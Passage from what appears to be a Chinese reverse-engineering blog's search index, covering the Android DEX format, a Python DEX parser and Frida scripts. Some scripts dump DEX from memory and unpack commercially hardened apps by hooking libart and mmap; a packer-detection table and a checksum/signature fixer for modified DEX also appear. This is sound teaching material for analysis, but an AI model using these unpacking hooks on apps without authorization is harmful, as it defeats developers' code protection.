IDs: 方法标识符列表。定义了方法，包括其所属类、原型 (Proto ID) 和名称。 Class Defs: 类定义列表。这是核心部分，包含了每个类的详细信息：访问标志、父类、实现的接口、源码文件名、注解、以及指向其字段和方法的指针。 Data Section: 数据区，包含了所有类的实际内容，例如： Code Item: 实际的方法字节码（Dalvik 指令）。 Class Data: 类的字段和方法列表的具体数据。 Map List: 描述整个 DEX 文件数据布局的映射表，dexdump 等工具使用它来解析文件。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:2:3","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#1-头部-header"},{"categories":null,"collections":null,"content":"运行原理 DEX 文件的执行由 Android 运行时 (ART) 负责，在 Android 5.0 之前由 Dalvik 虚拟机 (DVM) 负责。 1. Dalvik 虚拟机 (DVM) - android 4.4 及更早版本 JIT (Just-In-Time) 编译: 当应用运行时，DVM 会解释执行 DEX 字节码。对于频繁执行的\"热点\"代码路径，JIT 编译器会将其动态编译成本地机器码，以提高后续执行速度。 缺点: 每次启动应用都需要进行解释和 JIT 编译，导致应用启动速度较慢，且运行时消耗更多计算资源。 2. android 运行时 (ART) - Android 5.0 及更高版本 AOT (Ahead-Of-Time) 编译: 在应用安装时，ART 会使用 dex2oat 工具将 DEX 文件中的字节码预编译成设备原生的机器码，并保存为 OAT (Optimized Android file format) 文件。 优点: 启动速度快: 应用直接执行预编译的本地代码，无需实时编译，大大加快了启动速度。 性能更高: AOT 可以进行更深度的优化，性能通常优于 JIT。 更省电: 减少了运行时的 CPU 计算负担。 AOT + JIT 混合模式 (Android 7.0+ ): 为了平衡安装速度/空间占用和性能，ART 引入了混合模式。 安装时: 不进行完全 AOT 编译，或只编译部分关键代码。 首次运行: 解释执行，并使用 JIT 编译热点代码，同时收集分析信息 (Profile)。 设备空闲时: 当设备充电且空闲时，系统会根据收集到的分析信息，对常用代码进行 AOT 编译，实现最佳性能。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:2:4","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#运行原理"},{"categories":null,"collections":null,"content":"运行原理 DEX 文件的执行由 Android 运行时 (ART) 负责，在 Android 5.0 之前由 Dalvik 虚拟机 (DVM) 负责。 1. Dalvik 虚拟机 (DVM) - android 4.4 及更早版本 JIT (Just-In-Time) 编译: 当应用运行时，DVM 会解释执行 DEX 字节码。对于频繁执行的\"热点\"代码路径，JIT 编译器会将其动态编译成本地机器码，以提高后续执行速度。 缺点: 每次启动应用都需要进行解释和 JIT 编译，导致应用启动速度较慢，且运行时消耗更多计算资源。 2. android 运行时 (ART) - Android 5.0 及更高版本 AOT (Ahead-Of-Time) 编译: 在应用安装时，ART 会使用 dex2oat 工具将 DEX 文件中的字节码预编译成设备原生的机器码，并保存为 OAT (Optimized Android file format) 文件。 优点: 启动速度快: 应用直接执行预编译的本地代码，无需实时编译，大大加快了启动速度。 性能更高: AOT 可以进行更深度的优化，性能通常优于 JIT。 更省电: 减少了运行时的 CPU 计算负担。 AOT + JIT 混合模式 (Android 7.0+ ): 为了平衡安装速度/空间占用和性能，ART 引入了混合模式。 安装时: 不进行完全 AOT 编译，或只编译部分关键代码。 首次运行: 解释执行，并使用 JIT 编译热点代码，同时收集分析信息 (Profile)。 设备空闲时: 当设备充电且空闲时，系统会根据收集到的分析信息，对常用代码进行 AOT 编译，实现最佳性能。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:2:4","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#1-dalvik-虚拟机-dvm---android-44-及更早版本"},{"categories":null,"collections":null,"content":"运行原理 DEX 文件的执行由 Android 运行时 (ART) 负责，在 Android 5.0 之前由 Dalvik 虚拟机 (DVM) 负责。 1. Dalvik 虚拟机 (DVM) - android 4.4 及更早版本 JIT (Just-In-Time) 编译: 当应用运行时，DVM 会解释执行 DEX 字节码。对于频繁执行的\"热点\"代码路径，JIT 编译器会将其动态编译成本地机器码，以提高后续执行速度。 缺点: 每次启动应用都需要进行解释和 JIT 编译，导致应用启动速度较慢，且运行时消耗更多计算资源。 2. android 运行时 (ART) - Android 5.0 及更高版本 AOT (Ahead-Of-Time) 编译: 在应用安装时，ART 会使用 dex2oat 工具将 DEX 文件中的字节码预编译成设备原生的机器码，并保存为 OAT (Optimized Android file format) 文件。 优点: 启动速度快: 应用直接执行预编译的本地代码，无需实时编译，大大加快了启动速度。 性能更高: AOT 可以进行更深度的优化，性能通常优于 JIT。 更省电: 减少了运行时的 CPU 计算负担。 AOT + JIT 混合模式 (Android 7.0+ ): 为了平衡安装速度/空间占用和性能，ART 引入了混合模式。 安装时: 不进行完全 AOT 编译，或只编译部分关键代码。 首次运行: 解释执行，并使用 JIT 编译热点代码，同时收集分析信息 (Profile)。 设备空闲时: 当设备充电且空闲时，系统会根据收集到的分析信息，对常用代码进行 AOT 编译，实现最佳性能。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:2:4","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#2-android-运行时-art---android-50-及更高版本"},{"categories":null,"collections":null,"content":"Multi-DEX 单个 DEX 文件有一个方法引用数上限（65,536 个），当应用（包括其依赖库）的方法总数超过这个限制时，编译会失败。 为了解决这个问题，Android 引入了 Multi-DEX 机制。打包工具会将应用代码分割到多个 DEX 文件中，例如 classes.dex, classes2.dex, classes3.dex 等。主 classes.dex 文件会优先加载，然后应用代码会负责加载其余的 DEX 文件。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:2:5","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#multi-dex"},{"categories":null,"collections":null,"content":"从 Android 5.0 (API 21) 开始，ART 原生支持加载多个 DEX 文件，无需额外的库。对于更早的版本，则需要使用官方的 multidex-support-library。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:3:0","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#从-android-50-api-21-开始art-原生支持加载多个-dex-文件无需额外的库对于更早的版本则需要使用官方的-multidex-support-library"},{"categories":null,"collections":null,"content":"DEX 分析与处理工具 工具 描述 d8 / dx Google 官方工具，用于将 .class 文件转换为 .dex 文件。d8 是新一代的转换器。 dexdump 位于 Android SDK build-tools 中，用于打印 DEX 文件的详细信息，包括头信息、类、方法和字节码。 baksmali 将 .dex 文件反汇编成 .smali 文件。Smali 是一种人类可读的 Dalvik 字节码表示形式。 smali 将 .smali 文件重新汇编成 .dex 文件。常用于修改应用逻辑后重新打包。 Jadx 非常强大的反编译工具，可以直接将 APK/DEX 文件反编译成可读的 Java 代码，并提供图形化界面。 Ghidra / IDA Pro 高级逆向工程工具，支持对 DEX 文件和原生库进行深度静态和动态分析。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:3:1","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#dex-分析与处理工具"},{"categories":null,"collections":null,"content":"DEX 文件解析实战 💡 思路一句话: 手动解析 DEX 的核心是「跟着指针走」— 从 DEX header 的各类偏移出发，逐层解析 string_ids → type_ids → method_ids → class_defs，理解 DEX 的数据组织方式。 本节通过代码示例，深入讲解如何解析 DEX 文件的各个部分。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:4:0","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#dex-文件解析实战"},{"categories":null,"collections":null,"content":"DEX Header 详细结构 DEX 文件头共 112 字节（0x70），包含文件的元数据和各区域的偏移量： 偏移量 大小 字段名 描述 ──────────────────────────────────────────────────────────────── 0x00 8 magic 魔数: \"dex\\n035\\0\" 或 \"dex\\n039\\0\" 0x08 4 checksum Adler32 校验和（从 0x0C 开始计算） 0x0C 20 signature SHA-1 签名（从 0x20 开始计算） 0x20 4 file_size DEX 文件总大小 0x24 4 header_size 头部大小，固定为 0x70 (112) 0x28 4 endian_tag 字节序标记: 0x12345678 (小端) 0x2C 4 link_size 链接段大小 0x30 4 link_off 链接段偏移 0x34 4 map_off Map 段偏移 0x38 4 string_ids_size 字符串 ID 数量 0x3C 4 string_ids_off 字符串 ID 表偏移 0x40 4 type_ids_size 类型 ID 数量 0x44 4 type_ids_off 类型 ID 表偏移 0x48 4 proto_ids_size 原型 ID 数量 0x4C 4 proto_ids_off 原型 ID 表偏移 0x50 4 field_ids_size 字段 ID 数量 0x54 4 field_ids_off 字段 ID 表偏移 0x58 4 method_ids_size 方法 ID 数量 0x5C 4 method_ids_off 方法 ID 表偏移 0x60 4 class_defs_size 类定义数量 0x64 4 class_defs_off 类定义表偏移 0x68 4 data_size 数据段大小 0x6C 4 data_off 数据段偏移 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:4:1","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#dex-header-详细结构"},{"categories":null,"collections":null,"content":"Python DEX 解析器 以下是一个完整的 Python DEX 解析器实现： #!/usr/bin/env python3 \"\"\" DEX 文件解析器 - 用于分析 Android DEX 文件结构 \"\"\" import struct import hashlib import zlib from dataclasses import dataclass from typing import List, Optional from pathlib import Path @dataclass class DexHeader: \"\"\"DEX 文件头结构\"\"\" magic: bytes checksum: int signature: bytes file_size: int header_size: int endian_tag: int link_size: int link_off: int map_off: int string_ids_size: int string_ids_off: int type_ids_size: int type_ids_off: int proto_ids_size: int proto_ids_off: int field_ids_size: int field_ids_off: int method_ids_size: int method_ids_off: int class_defs_size: int class_defs_off: int data_size: int data_off: int @dataclass class ClassDef: \"\"\"类定义结构\"\"\" class_idx: int access_flags: int superclass_idx: int interfaces_off: int source_file_idx: int annotations_off: int class_data_off: int static_values_off: int @dataclass class MethodId: \"\"\"方法 ID 结构\"\"\" class_idx: int proto_idx: int name_idx: int class DexParser: \"\"\"DEX 文件解析器\"\"\" # 访问标志常量 ACC_PUBLIC = 0x0001 ACC_PRIVATE = 0x0002 ACC_PROTECTED = 0x0004 ACC_STATIC = 0x0008 ACC_FINAL = 0x0010 ACC_SYNCHRONIZED = 0x0020 ACC_VOLATILE = 0x0040 ACC_BRIDGE = 0x0040 ACC_TRANSIENT = 0x0080 ACC_VARARGS = 0x0080 ACC_NATIVE = 0x0100 ACC_INTERFACE = 0x0200 ACC_ABSTRACT = 0x0400 ACC_STRICT = 0x0800 ACC_SYNTHETIC = 0x1000 ACC_ANNOTATION = 0x2000 ACC_ENUM = 0x4000 ACC_CONSTRUCTOR = 0x10000 ACC_DECLARED_SYNCHRONIZED = 0x20000 def __init__(self, dex_path: str): self.dex_path = Path(dex_path) with open(dex_path, 'rb') as f: self.data = f.read() self.header: Optional[DexHeader] = None self.strings: List[str] = [] self.types: List[str] = [] self.class_defs: List[ClassDef] = [] self.method_ids: List[MethodId] = [] def parse(self) -\u003e bool: \"\"\"解析 DEX 文件\"\"\" if not self._parse_header(): return False self._parse_strings() self._parse_types() self._parse_method_ids() self._parse_class_defs() return True def _parse_header(self) -\u003e bool: \"\"\"解析 DEX 头部\"\"\" if len(self.data) \u003c 112: print(\"文件太小，不是有效的 DEX 文件\") return False # 检查魔数 magic = self.data[0:8] if not magic.startswith(b'dex\\n'): print(f\"无效的魔数: {magic}\") return False # 解析头部各字段 self.header = DexHeader( magic=magic, checksum=struct.unpack('\u003cI', self.data[8:12])[0], signature=self.data[12:32], file_size=struct.unpack('\u003cI', self.data[32:36])[0], header_size=struct.unpack('\u003cI', self.data[36:40])[0], endian_tag=struct.unpack('\u003cI', self.data[40:44])[0], link_size=struct.unpack('\u003cI', self.data[44:48])[0], link_off=struct.unpack('\u003cI', self.data[48:52])[0], map_off=struct.unpack('\u003cI', self.data[52:56])[0], string_ids_size=struct.unpack('\u003cI', self.data[56:60])[0], string_ids_off=struct.unpack('\u003cI', self.data[60:64])[0], type_ids_size=struct.unpack('\u003cI', self.data[64:68])[0], type_ids_off=struct.unpack('\u003cI', self.data[68:72])[0], proto_ids_size=struct.unpack('\u003cI', self.data[72:76])[0], proto_ids_off=struct.unpack('\u003cI', self.data[76:80])[0], field_ids_size=struct.unpack('\u003cI', self.data[80:84])[0], field_ids_off=struct.unpack('\u003cI', self.data[84:88])[0], method_ids_size=struct.unpack('\u003cI', self.data[88:92])[0], method_ids_off=struct.unpack('\u003cI', self.data[92:96])[0], class_defs_size=struct.unpack('\u003cI', self.data[96:100])[0], class_defs_off=struct.unpack('\u003cI', self.data[100:104])[0], data_size=struct.unpack('\u003cI', self.data[104:108])[0], data_off=struct.unpack('\u003cI', self.data[108:112])[0], ) return True def _read_uleb128(self, offset: int) -\u003e tuple: \"\"\"读取 ULEB128 编码的整数\"\"\" result = 0 shift = 0 size = 0 while True: byte = self.data[offset + size] result |= (byte \u0026 0x7f) \u003c\u003c shift size += 1 if (byte \u0026 0x80) == 0: break shift += 7 return result, size def _parse_strings(self): \"\"\"解析字符串表\"\"\" if not self.header: return self.strings = [] offset = self.header.string_ids_off for i in range(self.header.string_ids_size): # 读取字符串数据偏移 string_data_off = struct.unpack('\u003cI', self.data[offset:offset+4])[0] offset += 4 # 读取 ULEB128 编码的字符串长度 str_len, size = self._read_uleb128(string_data_off) # 读取 MUTF-8 编码的字符串 str_start = string_data_off","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:4:2","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#python-dex-解析器"},{"categories":null,"collections":null,"content":"使用示例 # 基本用法 - 解析 DEX 文件 python dex_parser.py classes.dex # 搜索包含特定关键字的字符串和方法 python dex_parser.py classes.dex \"encrypt\" # 输出示例: # ============================================================ # DEX 文件头信息 # ============================================================ # 魔数: b'dex\\n035\\x00' # DEX 版本: 035 # 校验和: 0x8A3B2C1D (有效) # SHA-1 签名: a1b2c3d4e5f6... # 文件大小: 2048576 bytes (2000.56 KB) # 方法数量: 15234 # 类定义数量: 1523 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:4:3","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#使用示例"},{"categories":null,"collections":null,"content":"Frida 运行时 DEX 分析 在动态分析中，我们经常需要在运行时 dump 或分析 DEX 文件，特别是针对加固应用。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:5:0","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#frida-运行时-dex-分析"},{"categories":null,"collections":null,"content":"基础 DEX Dump 脚本 /** * Frida DEX Dump 脚本 * 用于从内存中提取已加载的 DEX 文件 */ // DEX 魔数 const DEX_MAGIC = [0x64, 0x65, 0x78, 0x0a]; // \"dex\\n\" // 在内存中搜索 DEX 文件 function searchDexInMemory() { const results = []; Process.enumerateRanges('r--').forEach(function(range) { try { const pattern = '64 65 78 0a 30 33'; // dex\\n03 Memory.scan(range.base, range.size, pattern, { onMatch: function(address, size) { console.log('[+] 发现 DEX @ ' + address); results.push(address); }, onError: function(reason) {}, onComplete: function() {} }); } catch (e) {} }); return results; } // 从内存地址 dump DEX 文件 function dumpDex(address, filename) { try { // 读取 DEX 文件大小（偏移 0x20 处的 4 字节） const fileSize = Memory.readU32(address.add(0x20)); console.log('[*] DEX 大小: ' + fileSize + ' bytes'); // 读取整个 DEX 文件 const dexData = Memory.readByteArray(address, fileSize); // 写入文件 const file = new File('/data/local/tmp/' + filename, 'wb'); file.write(dexData); file.close(); console.log('[+] 已保存: /data/local/tmp/' + filename); return true; } catch (e) { console.log('[-] Dump 失败: ' + e); return false; } } // Hook ClassLoader.loadClass 监控类加载 function hookClassLoader() { Java.perform(function() { const ClassLoader = Java.use('java.lang.ClassLoader'); ClassLoader.loadClass.overload('java.lang.String').implementation = function(name) { console.log('[ClassLoader] 加载类: ' + name); return this.loadClass(name); }; }); } // Hook DexFile 构造函数，捕获动态加载的 DEX function hookDexFile() { Java.perform(function() { // Android 8.0+ 使用 DexPathList try { const DexPathList = Java.use('dalvik.system.DexPathList'); const makePathElements = DexPathList.makePathElements; if (makePathElements) { makePathElements.overload( 'java.util.List', 'java.io.File', 'java.util.List' ).implementation = function(files, optimizedDirectory, suppressedExceptions) { console.log('[DexPathList] 加载 DEX 文件:'); const iterator = files.iterator(); while (iterator.hasNext()) { console.log(' - ' + iterator.next()); } return makePathElements.call(this, files, optimizedDirectory, suppressedExceptions); }; } } catch (e) { console.log('[-] Hook DexPathList 失败: ' + e); } // Hook InMemoryDexClassLoader (Android 8.0+) try { const InMemoryDexClassLoader = Java.use('dalvik.system.InMemoryDexClassLoader'); InMemoryDexClassLoader.$init.overload( 'java.nio.ByteBuffer', 'java.lang.ClassLoader' ).implementation = function(dexBuffer, parent) { console.log('[!] 检测到内存 DEX 加载!'); console.log(' 大小: ' + dexBuffer.remaining() + ' bytes'); // Dump 内存中的 DEX const size = dexBuffer.remaining(); const dexBytes = new Uint8Array(size); for (let i = 0; i \u003c size; i++) { dexBytes[i] = dexBuffer.get(i); } const timestamp = Date.now(); const filename = 'inmemory_' + timestamp + '.dex'; // 使用 Java 写入文件 const FileOutputStream = Java.use('java.io.FileOutputStream'); const fos = FileOutputStream.$new('/data/local/tmp/' + filename); fos.write(Java.array('byte', Array.from(dexBytes))); fos.close(); console.log('[+] 已 Dump: /data/local/tmp/' + filename); return this.$init(dexBuffer, parent); }; } catch (e) { console.log('[-] Hook InMemoryDexClassLoader 失败: ' + e); } }); } // 列出所有已加载的 DEX 文件 function listLoadedDex() { Java.perform(function() { Java.enumerateClassLoaders({ onMatch: function(loader) { try { const pathList = loader.pathList.value; if (pathList) { const dexElements = pathList.dexElements.value; console.log('\\n[ClassLoader] ' + loader.$className); for (let i = 0; i \u003c dexElements.length; i++) { const element = dexElements[i]; const dexFile = element.dexFile.value; if (dexFile) { console.log(' DEX: ' + dexFile.mFileName.value); } } } } catch (e) {} }, onComplete: function() {} }); }); } // 主入口 console.log('[*] DEX 分析脚本已加载'); console.log('[*] 可用命令:'); console.log(' searchDex() - 搜索内存中的 DEX'); console.log(' listLoadedDex() - 列出已加载的 DEX'); console.log(' hookDexFile() - Hook DEX 加载'); // 自动执行 Java.perform(function() { listLoadedDex(); hookDexFile(); }); ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:5:1","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#基础-dex-dump-脚本"},{"categories":null,"collections":null,"content":"高级: 针对加固 App 的 DEX Dump /** * 针对主流加固方案的 DEX Dump * 支持: 梆梆、360、爱加密、腾讯乐固等 */ // 通用脱壳点 - Hook openDexFile function hookOpenDexFile() { const artModule = Process.findModuleByName('libart.so'); if (!artModule) { console.log('[-] 未找到 libart.so'); return; } // 搜索 OpenDexFilesFromOat 或相关函数 const symbols = artModule.enumerateSymbols(); symbols.forEach(function(sym) { if (sym.name.indexOf('OpenDexFile') !== -1 \u0026\u0026 sym.name.indexOf('Oat') === -1) { console.log('[*] 发现符号: ' + sym.name + ' @ ' + sym.address); Interceptor.attach(sym.address, { onEnter: function(args) { console.log('[OpenDexFile] 调用'); // args[0] 通常是 DEX 数据指针 // args[1] 是大小 }, onLeave: function(retval) { console.log('[OpenDexFile] 返回: ' + retval); } }); } }); } // Hook mmap，捕获 DEX 映射 function hookMmap() { const mmapPtr = Module.findExportByName('libc.so', 'mmap'); Interceptor.attach(mmapPtr, { onEnter: function(args) { this.size = args[1].toInt(); }, onLeave: function(retval) { if (this.size \u003e 0x1000 \u0026\u0026 retval.toInt() \u003e 0) { try { // 检查是否是 DEX 文件 const magic = Memory.readByteArray(retval, 4); const magicArray = new Uint8Array(magic); if (magicArray[0] === 0x64 \u0026\u0026 magicArray[1] === 0x65 \u0026\u0026 magicArray[2] === 0x78 \u0026\u0026 magicArray[3] === 0x0a) { console.log('[!] mmap 映射了 DEX!'); console.log(' 地址: ' + retval); console.log(' 大小: ' + this.size); // Dump const filename = 'mmap_dex_' + Date.now() + '.dex'; const data = Memory.readByteArray(retval, this.size); const file = new File('/data/local/tmp/' + filename, 'wb'); file.write(data); file.close(); console.log('[+] 已保存: ' + filename); } } catch (e) {} } } }); } // 初始化 console.log('[*] 加固脱壳脚本已加载'); hookOpenDexFile(); hookMmap(); ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:5:2","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#高级-针对加固-app-的-dex-dump"},{"categories":null,"collections":null,"content":"实战分析案例 💡 思路一句话: DEX 解析能力在实战中用于：定位加固壳的特征（异常的 header 字段）、检测 DEX 篡改（校验和验证）、提取关键方法的字节码进行分析。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:6:0","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#实战分析案例"},{"categories":null,"collections":null,"content":"案例 1: 分析 APK 中的敏感方法 💡 思路一句话: 通过解析 DEX 的 method_ids 和 class_defs，批量扫描所有方法签名，快速找到包含敏感关键词（encrypt, decrypt, sign, verify）的方法。 # 1. 解压 APK unzip app.apk -d app_extracted # 2. 使用我们的解析器搜索敏感方法 python dex_parser.py app_extracted/classes.dex \"encrypt\" python dex_parser.py app_extracted/classes.dex \"decrypt\" python dex_parser.py app_extracted/classes.dex \"password\" python dex_parser.py app_extracted/classes.dex \"secret\" # 3. 搜索网络相关 python dex_parser.py app_extracted/classes.dex \"http\" python dex_parser.py app_extracted/classes.dex \"api\" ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:6:1","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#案例-1-分析-apk-中的敏感方法"},{"categories":null,"collections":null,"content":"案例 2: 验证 DEX 完整性（检测篡改） 💡 思路一句话: 重新计算 DEX 的 checksum 和 SHA-1 签名，与 header 中的值对比 — 如果不匹配，说明 DEX 被修改过（可能是重打包或加固）。 def check_dex_integrity(dex_path: str) -\u003e dict: \"\"\"检查 DEX 文件完整性\"\"\" parser = DexParser(dex_path) parser.parse() result = { 'path': dex_path, 'checksum_valid': parser.verify_checksum(), 'signature_valid': parser.verify_signature(), 'header': { 'version': parser.header.magic[4:7].decode() if parser.header else None, 'file_size': parser.header.file_size if parser.header else 0, 'method_count': parser.header.method_ids_size if parser.header else 0, 'class_count': parser.header.class_defs_size if parser.header else 0, } } # 检查异常特征 warnings = [] if parser.header: if parser.header.method_ids_size \u003e 60000: warnings.append('方法数接近上限，可能需要 Multi-DEX') if parser.header.link_size \u003e 0: warnings.append('包含链接段，可能是非标准 DEX') result['warnings'] = warnings return result # 批量检查 import os for dex_file in os.listdir('app_extracted'): if dex_file.endswith('.dex'): result = check_dex_integrity(f'app_extracted/{dex_file}') print(f\"\\n{dex_file}:\") print(f\" 校验和: {'通过' if result['checksum_valid'] else '失败'}\") print(f\" 签名: {'通过' if result['signature_valid'] else '失败'}\") print(f\" 类数量: {result['header']['class_count']}\") print(f\" 方法数量: {result['header']['method_count']}\") ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:6:2","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#案例-2-验证-dex-完整性检测篡改"},{"categories":null,"collections":null,"content":"案例 3: 定位加固壳的特征 💡 思路一句话: 加固壳通常会修改 DEX header 或插入自定义段 — 通过检查 class_defs 数量异常少（壳 DEX 只有壳代码）、data 段偏移异常等特征快速判断。 常见加固厂商的特征字符串： 加固厂商 特征字符串/类名 梆梆加固 com.secneo., libsecexe.so, libDexHelper.so 360加固 com.stub., libjiagu.so, libprotectClass.so 爱加密 com.ijiami., libexec.so, libexecmain.so 腾讯乐固 com.tencent.bugly, libshella, libBugly.so 娜迦加固 com.nagain., libnaga.so 通付盾 com.payegis., libegis.so # 检测加固类型 def detect_packer(dex_path: str) -\u003e str: parser = DexParser(dex_path) parser.parse() packers = { 'secneo': '梆梆加固', 'stub.StubApp': '360加固', 'ijiami': '爱加密', 'tencent.StubShell': '腾讯乐固', 'nagain': '娜迦加固', 'payegis': '通付盾', } for keyword, name in packers.items(): results = parser.search_strings(keyword) if results: return f\"检测到 {name}\" return \"未检测到已知加固\" ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:6:3","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#案例-3-定位加固壳的特征"},{"categories":null,"collections":null,"content":"常见问题与技巧 65536 方法数限制 DEX 文件的 Method IDs 使用 16 位索引，最多只能引用 65536 个方法。这就是著名的 “64K 方法数限制”。 解决方案: 启用 Multi-DEX（Android 5.0+ 原生支持） 使用 ProGuard/R8 移除未使用的代码 合理划分模块，减少依赖 快速判断 DEX 版本 # DEX 035 - Android 7.0 及之前 # DEX 037 - Android 8.0 引入默认方法 # DEX 038 - Android 9.0 # DEX 039 - Android 10.0+ with open('classes.dex', 'rb') as f: magic = f.read(8) version = magic[4:7].decode() print(f\"DEX 版本: {version}\") 修复损坏的 DEX 如果校验和或签名不匹配，可以重新计算并修复： import hashlib import zlib def fix_dex(data: bytes) -\u003e bytes: \"\"\"修复 DEX 文件的校验和和签名\"\"\" data = bytearray(data) # 重新计算 SHA-1 签名 (从偏移 0x20 开始) sha1 = hashlib.sha1(data[32:]).digest() data[12:32] = sha1 # 重新计算 Adler32 校验和 (从偏移 0x0C 开始) checksum = zlib.adler32(bytes(data[12:])) \u0026 0xffffffff data[8:12] = checksum.to_bytes(4, 'little') return bytes(data) ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:7:0","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#常见问题与技巧"},{"categories":null,"collections":null,"content":"JavaScript 执行机制 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:0:0","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#javascript-执行机制"},{"categories":null,"collections":null,"content":"概述 深入理解 JavaScript 的执行机制（事件循环、V8 引擎、编译原理）对于处理复杂的反调试脚本、分析异步加密逻辑以及理解混淆代码的控制流至关重要。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:1:0","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#概述"},{"categories":null,"collections":null,"content":"1. 单线程与事件循环 (Event Loop) JavaScript 是单线程的（主线程），为了不阻塞 UI 渲染，它采用了事件循环机制来处理异步任务。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:2:0","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#1-单线程与事件循环-event-loop"},{"categories":null,"collections":null,"content":"宏任务 (MacroTask) vs 微任务 (MicroTask) 这是面试题常客，也是逆向分析异步代码执行顺序的关键。 MacroTask (宏任务): setTimeout, setInterval, setImmediate (Node), I/O, UI Rendering. MicroTask (微任务): Promise.then, process.nextTick (Node), MutationObserver. ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:2:1","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#宏任务-macrotask-vs-微任务-microtask"},{"categories":null,"collections":null,"content":"执行顺序 执行同步代码（Main Script）。 执行所有 MicroTasks（清空微任务队列）。 执行 一个 MacroTask。 执行所有 MicroTasks。 更新 UI 渲染。 回到步骤 3。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:2:2","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 